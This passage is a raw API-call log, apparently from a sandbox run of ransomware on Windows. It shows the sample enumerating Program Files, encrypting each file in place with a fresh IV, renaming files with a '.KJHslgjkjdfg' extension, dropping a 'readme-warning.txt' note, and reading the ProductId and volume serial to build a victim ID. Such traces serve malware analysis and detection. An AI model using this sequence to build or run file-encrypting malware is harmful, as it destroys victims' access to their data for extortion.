GetProcessHeap () returned 0x2ef0000 [0191.203] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.KJHslgjkjdfg" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.kjhslgjkjdfg")) returned 1 [0191.206] CloseHandle (hObject=0x124) returned 1 [0191.206] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0191.206] GetProcessHeap () returned 0x2ef0000 [0191.206] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0191.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.207] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff330 | out: pbData=0x2f0c898, pdwDataLen=0x4dff330) returned 1 [0191.207] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.207] GetProcessHeap () returned 0x2ef0000 [0191.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0191.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.207] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff330 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff330) returned 1 [0191.207] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.207] GetProcessHeap () returned 0x2ef0000 [0191.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f11d10 [0191.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.207] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11d10, pdwDataLen=0x4dff330 | out: pbData=0x2f11d10, pdwDataLen=0x4dff330) returned 1 [0191.207] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.207] GetProcessHeap () returned 0x2ef0000 [0191.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0191.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.207] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfef10 | out: pbData=0x2f0c928, pdwDataLen=0x4dfef10) returned 1 [0191.207] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.207] GetProcessHeap () returned 0x2ef0000 [0191.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.207] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.207] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfef10 | out: pbData=0x2f11700, pdwDataLen=0x4dfef10) returned 1 [0191.207] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.208] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfef0c | out: phkResult=0x4dfef0c*=0x124) returned 0x0 [0191.208] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfef18, lpcbData=0x4dfef14*=0x400 | out: lpType=0x0, lpData=0x4dfef18*=0x30, lpcbData=0x4dfef14*=0x18) returned 0x0 [0191.208] RegCloseKey (hKey=0x124) returned 0x0 [0191.208] GetProcessHeap () returned 0x2ef0000 [0191.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0191.208] GetProcessHeap () returned 0x2ef0000 [0191.208] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.208] GetProcessHeap () returned 0x2ef0000 [0191.208] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11700 [0191.208] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18288) returned 1 [0191.208] CryptDecrypt (in: hKey=0x2f18288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11700, pdwDataLen=0x4dfece4 | out: pbData=0x2f11700, pdwDataLen=0x4dfece4) returned 1 [0191.208] CryptDestroyKey (hKey=0x2f18288) returned 1 [0191.208] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0191.208] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0191.209] GetProcessHeap () returned 0x2ef0000 [0191.209] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11700 | out: hHeap=0x2ef0000) returned 1 [0191.209] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0191.209] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0191.209] GetProcessHeap () returned 0x2ef0000 [0191.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f47728 [0191.209] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt") returned 60 [0191.209] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt" (normalized: "c:\\program files\\internet explorer\\signup\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0191.209] WriteFile (in: hFile=0x124, lpBuffer=0x2f47728*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f47728*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0191.210] CloseHandle (hObject=0x124) returned 1 [0191.210] GetProcessHeap () returned 0x2ef0000 [0191.210] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0191.210] GetProcessHeap () returned 0x2ef0000 [0191.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0191.211] GetProcessHeap () returned 0x2ef0000 [0191.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0191.211] GetProcessHeap () returned 0x2ef0000 [0191.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0191.211] FindClose (in: hFindFile=0x2f18208 | out: hFindFile=0x2f18208) returned 1 [0191.211] GetProcessHeap () returned 0x2ef0000 [0191.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0191.211] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0191.211] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe172d550, ftCreationTime.dwHighDateTime=0x1d590b4, ftLastAccessTime.dwLowDateTime=0xf10bbc90, ftLastAccessTime.dwHighDateTime=0x1d5dd2e, ftLastWriteTime.dwLowDateTime=0xf10bbc90, ftLastWriteTime.dwHighDateTime=0x1d5dd2e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yarn.exe", cAlternateFileName="")) returned 1 [0191.211] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe172d550, ftCreationTime.dwHighDateTime=0x1d590b4, ftLastAccessTime.dwLowDateTime=0xf10bbc90, ftLastAccessTime.dwHighDateTime=0x1d5dd2e, ftLastWriteTime.dwLowDateTime=0xf10bbc90, ftLastWriteTime.dwHighDateTime=0x1d5dd2e, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yarn.exe", cAlternateFileName="")) returned 0 [0191.211] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0191.211] GetProcessHeap () returned 0x2ef0000 [0191.211] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0191.211] FindNextFileW (in: hFindFile=0x2f18248, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdd053c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd053c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0191.211] GetProcessHeap () returned 0x2ef0000 [0191.211] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x6a) returned 0x2f123a0 [0191.211] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdd053c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd053c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0191.228] GetProcessHeap () returned 0x2ef0000 [0191.228] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.228] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdd053c60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd053c60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.229] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0191.229] GetProcessHeap () returned 0x2ef0000 [0191.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x26c) returned 0x2f10788 [0191.229] GetProcessHeap () returned 0x2ef0000 [0191.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7c) returned 0x2f123a0 [0191.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18208 [0191.230] GetProcessHeap () returned 0x2ef0000 [0191.230] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0191.230] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.230] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 1 [0191.230] GetProcessHeap () returned 0x2ef0000 [0191.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27e) returned 0x2f14588 [0191.230] GetProcessHeap () returned 0x2ef0000 [0191.230] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f45740 [0191.230] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0191.233] GetProcessHeap () returned 0x2ef0000 [0191.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0191.233] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.233] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0191.233] GetProcessHeap () returned 0x2ef0000 [0191.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f11d10 [0191.233] GetProcessHeap () returned 0x2ef0000 [0191.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x98) returned 0x2f455c0 [0191.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0191.236] GetProcessHeap () returned 0x2ef0000 [0191.236] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f455c0 | out: hHeap=0x2ef0000) returned 1 [0191.236] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0191.236] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0191.236] GetProcessHeap () returned 0x2ef0000 [0191.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x29a) returned 0x2f47728 [0191.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.236] GetProcessHeap () returned 0x2ef0000 [0191.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0191.237] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0191.237] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0191.237] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.237] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.237] GetProcessHeap () returned 0x2ef0000 [0191.237] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0191.237] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0191.237] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.237] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0191.239] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0191.239] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0191.240] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0191.240] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0191.240] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0191.240] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0191.240] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0191.240] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.240] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4360, lpOverlapped=0x0) returned 1 [0191.241] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4360, dwBufLen=0x4360 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4360) returned 1 [0191.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.241] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4360, lpOverlapped=0x0) returned 1 [0191.242] CryptDestroyKey (hKey=0x2f18308) returned 1 [0191.242] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.242] SetEndOfFile (hFile=0x12c) returned 1 [0191.244] GetProcessHeap () returned 0x2ef0000 [0191.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0191.244] GetProcessHeap () returned 0x2ef0000 [0191.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0191.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.kjhslgjkjdfg")) returned 1 [0191.249] CloseHandle (hObject=0x12c) returned 1 [0191.249] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0191.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0191.251] GetProcessHeap () returned 0x2ef0000 [0191.251] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, 